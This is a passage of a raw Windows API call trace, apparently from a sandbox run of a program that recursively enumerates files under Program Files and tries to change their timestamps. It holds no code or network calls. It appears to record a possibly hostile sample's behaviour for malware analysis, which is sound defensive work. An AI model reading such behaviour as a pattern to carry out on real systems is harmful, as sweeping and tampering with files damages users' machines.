ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0245.459] GetLastError () returned 0x12 [0245.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0245.459] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0245.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0245.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340db900, ftCreationTime.dwHighDateTime=0x1d55b55, ftLastAccessTime.dwLowDateTime=0x926d0f80, ftLastAccessTime.dwHighDateTime=0x1d5bd72, ftLastWriteTime.dwLowDateTime=0x926d0f80, ftLastWriteTime.dwHighDateTime=0x1d5bd72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0245.460] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.461] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0245.461] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x943470 [0245.461] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x943470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x943470, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0245.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943470) returned 1 [0245.461] NtClose (Handle=0x1bc) returned 0x0 [0245.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0245.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd620 [0245.461] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.462] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.462] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.462] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934df0 [0245.462] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943488 [0245.462] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0245.462] GetLastError () returned 0x12 [0245.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0245.462] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0245.462] GetLastError () returned 0x12 [0245.462] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0245.462] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.462] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0245.462] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0245.463] GetLastError () returned 0x12 [0245.463] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0245.463] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.463] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0245.463] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0245.463] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0245.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.465] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0245.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.465] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0245.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.465] NtClose (Handle=0x1a8) returned 0x0 [0245.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0245.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0245.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0245.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0245.466] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 1 [0245.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 0 [0245.466] GetLastError () returned 0x12 [0245.466] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0245.466] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, 